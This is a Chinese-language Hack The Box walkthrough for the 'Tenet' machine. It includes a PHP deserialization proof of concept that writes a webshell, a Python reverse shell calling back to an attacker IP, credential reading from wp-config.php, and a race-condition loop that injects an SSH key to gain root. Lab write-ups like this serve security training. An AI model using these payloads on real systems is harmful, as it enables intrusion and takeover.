Hack The Box-Tenet

nmap -A -sS -sV -sC 10.10.10.223 #-A强力扫描 -sS SYN扫描 -sV识别服务版本 -sC调用脚本扫描

gobuster dir -u http://10.10.10.223 -x php,log,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --wildcard -o gob

vi /etc/hosts

点击站点，我会注意到几个用户名（主角是所有三个帖子的作者，尼尔在“迁移”上留下了评论）。迁移帖子很有趣：
我们正在将我们的数据从平面文件结构转移到更实质性的东西上。当我们让我们的一位开发人员进行迁移时，请耐心等待，这不会花费太长时间。感谢您的耐心等待
来自尼尔的评论：您是否删除了 sator php 文件和备份？迁移计划不完整！你为什么要这样做？！sator.php尼尔的评论让我寻找sator.php。它在虚拟主机上不存在tenet.htb，但在 IP 上（也许这就是为什么 neil 认为它已经消失了）：

http://10.10.10.223/sator.php.bak
PHP反序列化大致理解：通过GET方式arepo参数，输入序列化的内容，当这个对象被销毁时，反序列化内容并带入file_put_contents函数写入文件名和内容

1.编写序列化poc<?phpclass DatabaseExport{
       public $user_file = 'shell.php';
       public $data = '<?php system($_GET["cmd"])?>';
}


$test = serialize(new DatabaseExport);
echo $test;
?>
2.执行语句php exp.php
3.得到写入webshell的序列化语句O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"shell.php";s:4:"data";s:28:"<?php system($_GET["cmd"])?>";}

1.通过反序列化漏洞写入webshellhttp://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:%7Bs:9:%22user_file%22;s:9:%22shell.php%22;s:4:%22data%22;s:29:%22%3C?php%20system($_GET%5B%22cmd%22%5D);?%3E%22;%7D
2.查看是否存在python3http://10.10.10.223/shell.php?cmd=which%20python3
3.执行python3反弹shell语句http://10.10.10.223/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

1.切换到wordpress目录cd wordpress
2.查看接口文件cat wp-config.php

su neilcat ~/user.txt

sudo -l

cat /usr/local/bin/enableSSH.sh
注：mktemp函数每次创建的文件名是随机的mktemp -u /temp/ssh-XXXXXX

1.生成公私钥对，会保存在/root/.ssh目录ssh-keygen -t rsa
2.连接第一个shell，运行写入公钥的循环while true; do for fn in /tmp/ssh-*; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmNFoE88NF5/n4baZ9RgPaTnIxgcoXKeTbnUvGVcTZgwq4lEKVT7BLZcW0zh9C2h8HLGA1XkIZNDGT4fWtvlklGf4OjMlwHTXrUKSCGXRSpBQIs89EUH54NVerwDtHTajCj1ZAMRvQyfloV32wqo/eaCSXpMojt4umwWvn6xX/W+4fZQBlRUGSGAW8z3xVUw/5ah7jBS5PwVTjAmTNl5kJ1g8Y4WrdgY/6FiuRo3doot+X53hHUGH8KIFPtvyoalPxWVuFRDoeQP99v5VEEg2tGendlcrOFVCjgbopU2K4xtnPLkrLnxKiSKVvhXISzSWxeAT6oFa/qyDOFZdWZJfTbowIekE7GlqQtMgTY6pZwZfsISw91JwBFl+37XL2tf0ma6leUFXKk0JmnqBEKLwDXVs2bSu+DTWQKWXUSm6SdrmVEvbvRkxEYcuIB+2n9uHzlWaJTJ+8XSI/WaPCrjJm8yXl11REm7w+xA4xbcINRCe2QNkm9lxCdHGpa4OvNs= root@kali' |tee /tmp/ssh-" > $fn; done; done
3.连接第二个shell，运行多次/usr/local/bin/enableSSH.sh脚本即可写入自己的公钥（失败则会提示Error in creating key file!）sudo /usr/local/bin/enableSSH.sh

1.私钥ssh连接rootssh root@10.10.10.223 -i id_rsa
2.查看flagcat root.txt